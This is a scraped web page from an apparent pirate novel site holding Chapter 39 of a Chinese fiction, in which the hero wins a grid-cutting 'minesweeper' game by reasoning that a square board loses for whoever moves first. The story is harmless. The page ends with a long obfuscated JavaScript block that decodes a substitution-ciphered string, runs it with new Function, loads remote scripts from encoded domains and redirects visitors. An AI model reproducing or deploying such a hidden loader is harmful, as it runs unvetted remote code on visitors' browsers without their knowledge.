第39章 扫雷

章节报错(免登陆)
下载APP,无广告、完整阅读

笔趣阁(biquge321.com)更新快,无弹窗!

    另一边,林朔等三人自然不知道教室发生了什么——甚至不知道彼此的情况。
    出门后那怪物老师便一分为三,分别将他们带入了三个不同的房间,分别开展游戏。
    林朔粗略扫了一眼,房间中没有什么特别之处,中间有一张桌子,桌子两边分别是两张木椅。
    他在其中一张木椅上坐下,桌上放着一部方形的平板电脑,平板电脑旁还有一个小型计时器,计时器目前显示时间为8:38。
    老师用手轻轻点击平板,一行文字在屏幕上显现:
    【推演:扫雷】
    【游戏规则:】
    【1.老师为被挑战者,学生为挑战者。“雷”在角落的格子内,学生有权决定先后手顺序】
    【2.双方可以对格子边缘进行横竖切割(一刀划,即切割下来的区域必定呈方形,切割完后剩下的区域也必定呈方形)。最后一位划中“雷”所在格子的玩家失败,对手获胜)
    【3.若在倒计时结束前游戏尚未结束,则老师无条件获胜】
    “规则就是这些,游戏随时可以开始。”
    老师看着林朔,笑眯眯地再度点击屏幕:
    一方12*13,共156个格子的方形区域在屏幕上浮现。
    红色代表雷
    这么多?
    见到此般情形,林朔微微皱眉。
    他看了眼时间,现在还剩八分钟。
    这么多格子,要想用穷举法举出所有可能性不太可能,再说这本身也是一个推演的游戏,证明绝对可以找到相对应的方法来帮助自己获胜。
    不能着急。
    看完规则过后,林朔首先联想到了五子棋。
    在正式的竞技比赛中,先后手对棋手的影响不会太大,这是因为先手执黑的一方有规定的“禁手”,也就是不能随心所欲地落子。然而,在没有“禁手”的情况下,对于职业高手而言,执黑先手的一方将占据绝对优势,甚至可以做到先手必赢。
    所以,林朔觉得,在这次这个游戏的规则下,很可能也会出现先手必赢或先手必输的情况。正因如此,规则才会故意将主动权让给自己。换而言之,这个游戏的关键并不在游戏开始后,而是在选择先后手这件事上。
    一旦选错,很可能将无法弥补。
    “还不开始吗?”
    见林朔仍然没有选择先后手,老师露出一丝让人感到不适的奇怪笑容。
    “时间所剩不多了哦。”
    “我都不急,你急什么?”
    林朔头也不抬地说道。
    现在情况比较复杂,他干脆直接从最简单的情况讨论起。(红色为有雷的格子,黄色为出手后割掉的格子)
    第一:只有一个格子。当格子只有一个的时候,雷只可能在这个格子内。因此,在这种情况下,必然是谁先手,谁落败。
    第二,两个格子。当格子数量为2,意味着其中一个格子里有雷,另一个格子是安全的。那么,先出手必胜,因为先出手必然会选择那个没有雷的格子,那么有雷的格子必然留给后手玩家。
    先出手玩家选择黄色格子,红色格子留给后手玩家
    第三,三个格子。这种情况先出手必胜,选择两列即可。
    第四,四个格子,这就分两种情况,也就是条状和方块状。
    条状的情况下,先出手玩家必胜,选择三列,第四个有雷的格子必然归后手玩家,先手必胜。
    方块状的情况下,先出手玩家只能选择一列,后出手玩家选择剩下的一个方块,雷再一次留给先手玩家,先手必败。
    1:初始状态2:先手割掉右侧一列变成34:后手割掉下方格子变成55:先手第二轮必吃雷
    第五,六个格子。两种情况:条状(1*6)或者块状(2*3)。
    条状,先出手玩家必胜,选择五列,第六个有雷的房间必然归后手玩家。
    块状…先手必胜。因为先手玩家第一次行动可以去掉一列,也就是将2*3的长方形变成2*2的正方形,就变成了情况4中的方块状,如此必胜。
    ……
    逐渐,他发现了一个规律。
    当形状是长条形的时候,也就是方块呈(1*n)排列,这种情况下先手必胜。
    当形状不是长条形的时候,分为两种情况:
    情况1:方块呈现n*n的情况下,先手必败。不论怎么挣扎,只要后手方没有犯下失误,先手方都不可能赢,最终必将吃雷。
    情况2:方块呈现n*m状态排列(n≠m)的情况下,先手必胜。这是因为,不论形状是怎么样的,先手玩家都可以通过第一步的操作,将这个方块变成前一种情况,也就是n*n。这样一来,就相当于后手玩家变成了情况1中的先手玩家,从而必败。
    回到这个游戏本身,由于方块为12*13一共156个,并不是标准的n*n模式,因此在自己掌握先手权的情况下,只要保证不出错,就可以稳稳拿下。
    于是,第一步,也就是最关键的一步:
    动手,划掉其中一列,从而让方块变成12*12的标准形状。
    见林朔作出这般操作,那老师脸上的笑容瞬间收敛。
    他不再目视林朔,也不再说话,而是沉默着开始了自己后续的操作。
    这个时候,林朔还有足足将近六分钟的时间。在摸清楚规律的情况下,156个格子根本不算多,他有充分时间来思考自己每一步的行动,不可能给对方露出任何可以抓住的破绽。
    于是,经过一连串的操作,当他划掉了图形中的倒数第二个方块时,唯一剩下的那个红色的、带有雷的方块便留给了老师。
    沉默片刻。
    “恭喜,你赢了。”
    老师淡淡说道,大手一挥,屏幕瞬间黯淡。
    “请不要在外逗留,出门后尽快回到教室。”
    他如此说道。
    “好的。”
    林朔起身朝外走去。
    自己成功拿下一局,只要另外两人中的一个能够获胜,己方就能以2:1的比分优势赢下这场课间游戏。
    只是,不知是否是自己的错觉,他总觉得刚才眼前这位的嘴角似乎隐隐勾起了一丝微妙的弧度。
    (还有种更加复杂的情况:雷的位置并不固定在角落,而是在方块内部。在这种情况下,其实也遵循上述规律,但在后续具体操作上变化更加复杂,有更多细节。在满足正文所谈及规律的情况下,先手玩家要想在情况2中必胜,还需要注意以下几点:
    1.避免自己动手结束后,对方可以通过一步操作使方块形状变成正方形,或者变成雷格子左右仅一端存在安全区。
    2.保证在自己动手的这一回合不出现条状且雷格子左右存在两段安全区的情况。
    3.要推算至少后两步的变化,从而确保不出现上述两种情况的任意一种。
    感兴趣可以去试一试)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();